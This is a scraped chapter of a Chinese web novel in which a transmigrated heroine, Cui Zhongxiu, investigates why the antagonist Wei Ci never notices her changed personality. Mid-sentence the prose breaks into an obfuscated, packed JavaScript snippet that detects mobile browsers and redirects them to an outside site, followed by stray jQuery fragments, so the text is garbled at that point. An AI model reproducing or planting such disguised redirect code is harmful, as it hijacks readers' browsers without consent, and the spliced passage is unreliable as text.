默认冷灰
24号文字
方正启体

16. 世界观出bug了?

作者:聘得衔蝉无本书字数:K更新时间:
    炭盆里细碎的火星闪烁着,卷曲的灰烬在热气升腾中彻底散落,没入盆底的一片死寂。


    崔重岫收回手,指尖残留的一点余温迅速被室内微寒所侵蚀。她半靠在椅背上,目光穿过袅袅飘荡的轻烟,落在了那扇紧闭的窗柩上。


    这并非她第一次感受到这个位面的怪诞。


    按照末世生存时养成的谨慎,她对任何细微的逻辑漏洞都保持着极度苛刻的敏锐。在《山河如故》构建的虚拟世界中,她无论如何,都是个外来者,占据了“崔秀秀”躯壳。


    “真奇怪啊……”


    崔重岫起身坐回靠窗的软榻上,推开窗扇,北风扑面而来,一并裹挟着凛冽寒意,和些许腊梅的幽香。


    从她意识到自己无法登出,并不得不接受系统任务开始,她几乎没有刻意掩饰过本性。不管是展现出的搏杀技巧、冷漠高效的为人处世、甚至对清规戒律毫无敬畏的狂悖,都与原本的兴临崔氏三娘子大相径庭。


    哪怕是崔府一些朝夕相处的奴婢,亦或是生养崔秀秀的薛氏,即使因为她恰到好处的伪装和对情绪的衔接把控而未曾起疑,但也隐约能察觉到崔三娘相较于年前沉稳了许多。


    唯独卫慈。


    整篇剧情中对人心洞若观火、多智近妖、算无遗策的反派,表现得最为违和。


    在他面前,崔重岫甚至懒得维持那副柔弱娇纵的皮相。当面撕毁荐举书、夜袭扼颈、用武力强行制伏他,甚至知晓他那连崔三娘其父大抵都不敢确定的罪臣身世——面对这样判若两人的变化,卫慈竟然从未产生过一瞬间的怀疑。


    这种怀疑并非是指判断她是否被夺舍,而是作为一名极其记仇且多疑的聪明人,他居然理所应当地接受了“崔秀秀”本就如此的设定。


    “系统,这是某种特殊的认知屏蔽吗?”崔重岫在心中默念。


    然而系统依旧如死水般寂静。


    索性她也并不指望某个只知道发布任务的破程序给出答案,反而更倾向于相信自身通过探知得出的真相。


    “红袖。”


    崔重岫并没回首,语意平静。


    正在外间整理冬衣的红袖闻声,赶忙掀开帘子走进来,脆生生地应道,“娘子,奴婢在呢,可是今儿起得太早,想睡会儿?”


    “我这几日……性情变了很多吗?”崔重岫转过脸,面容清秀,在天光昏暗的寝内有些模糊,唯有一双明目,眸光锋利又清冽,仿若能看穿人心。


    红袖被问得一愣,随即有些局促地用指头绞着袖摆,小心地揣摩着崔重岫的神色,“娘子说得哪里话……您这几日,确实比往常更有主见了些,讲话做事也……利落了许多。先前您总爱在后苑里扑蝶莳花,性子也比如今……娇弱些。”


    她斟酌着词句,生怕触怒自从年关前,便威严日重的主子。


    “变了,对吧?”崔重岫轻笑,指尖摩挲着窗柩边缘。


    红袖是家生子,又是自幼伺候崔秀秀的贴身婢女,难免能意识到两者之间相差甚远的变化。就算她刻意收敛,那种冷漠、强硬、乃至生死线上搏杀而出的气势,仍然是掩盖不住的。


    乃至在面对薛氏时,对方眼神里闪过的一丝陌生与欣慰交织的复杂情绪,也证明了母女连心的直觉在告诉她——她的女儿不一样了。


    可是卫慈呢?


    卫慈在怒极、恨极、甚于方才在高热中咬她时,从头至尾喊的都是“崔秀秀”。如同在他颖悟绝伦的才智下,无论是蛮横无知的崔秀秀,还是如今强势狠厉的崔重岫,自始至终都是同一个曾经刁难、讥讽他的崔三娘。


    “有趣……”


    她低声呢喃。


    假如是系统强行锁死了卫慈的认知,未免也太过不合情理。且目前看来,系统并没有这么高的权限,或说,它做不到。


    那么,答案只能是在卫慈的过往记忆里,在他心目中,他所认识的“崔秀秀”,自始至终本就是此刻这般模样。


    可崔三娘的生平履历明明白白,足不出兴临县,甚至连崔府宅门都鲜少离开。


    难不成还有她并不了解的暗线剧情?


    崔重岫揉了揉额角,手腕上被卫慈咬出的伤口又在隐隐作痛。


    摆手让红袖出去,她起身走到书架旁,开始有目的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17024697|194340||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地翻找起这间寝房里的私人物品。


    崔三娘的闺房布置得极好,处处可见清贵雅致的奢靡,毋论文玩字画、珠钗首饰,无一不是上品。她翻开几本崔三娘常看的诗集,字迹娟秀,表露出闺阁女子的愁情。又翻开几幅尚未装裱的画作,笔触柔和,透出拙劣的临摹痕迹。


    这些物什无一不在明示她,“崔秀秀”无非是个被溺爱过度的封建闺秀。


    崔重岫将其物归原位,走到菱花镜前。镜中的少女面容清秀,身段柔弱,毫无攻击性,直至她对着镜台,缓慢地,一点一点地勾起唇角,露出卫慈现如今兴许已然熟悉的,轻快到近乎轻挑的笑靥。


    霎时间,镜中人的气势骤然极盛,变得像是一柄藏在丝绸里的薄刃。


    ……


    为了验证疑虑,在卫慈昏沉无知的几个时辰,崔重岫并没去休憩,而是先去往账房,随后又绕路去了后苑的绣房和厨房。


    “三娘子,您今儿个怎生有空来奴婢这儿了?”绣房的刘嬷嬷是个老人了,此时正领着几个小丫头赶制春衫,见崔重岫进门,忙不迭地起身行礼。


    崔重岫随手捻起一根金丝,语气平淡中又刻意略带慵懒,“近日身子倦,总觉得以前那些花样太繁琐,嬷嬷帮我瞧瞧,可有简单利落些的?”


    刘嬷嬷笑着应承,“娘子这是大好了。老奴先前还与她们说呢,三娘子身处绮罗丛,最爱那花团锦簇、翠羽明珠,因何近半月倒转了性子,爱起这些素净寡淡的了?虽说清雅,却总觉得不像娘子往日的风致。”


    一旁的红袖也插话道,“可不是么,刘嬷嬷。夫人前儿还说,娘子是长大了,懂得心疼长辈,不再胡闹了。”


    看,所有人都能察觉到区别。


    纵使此类转变被“病了一场”、“长大了”、“转性”等说辞所粉饰,可他们确是意识到了改变。


    只有卫慈。


    本该最先察觉不妥之处、有着极强洞察力的人,他的反应却是最不正常的正常。


    崔重岫走出绣房,午后的冬阳洒在石板路上,泛着刺眼的白。


    “卫慈,你到底在看谁?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)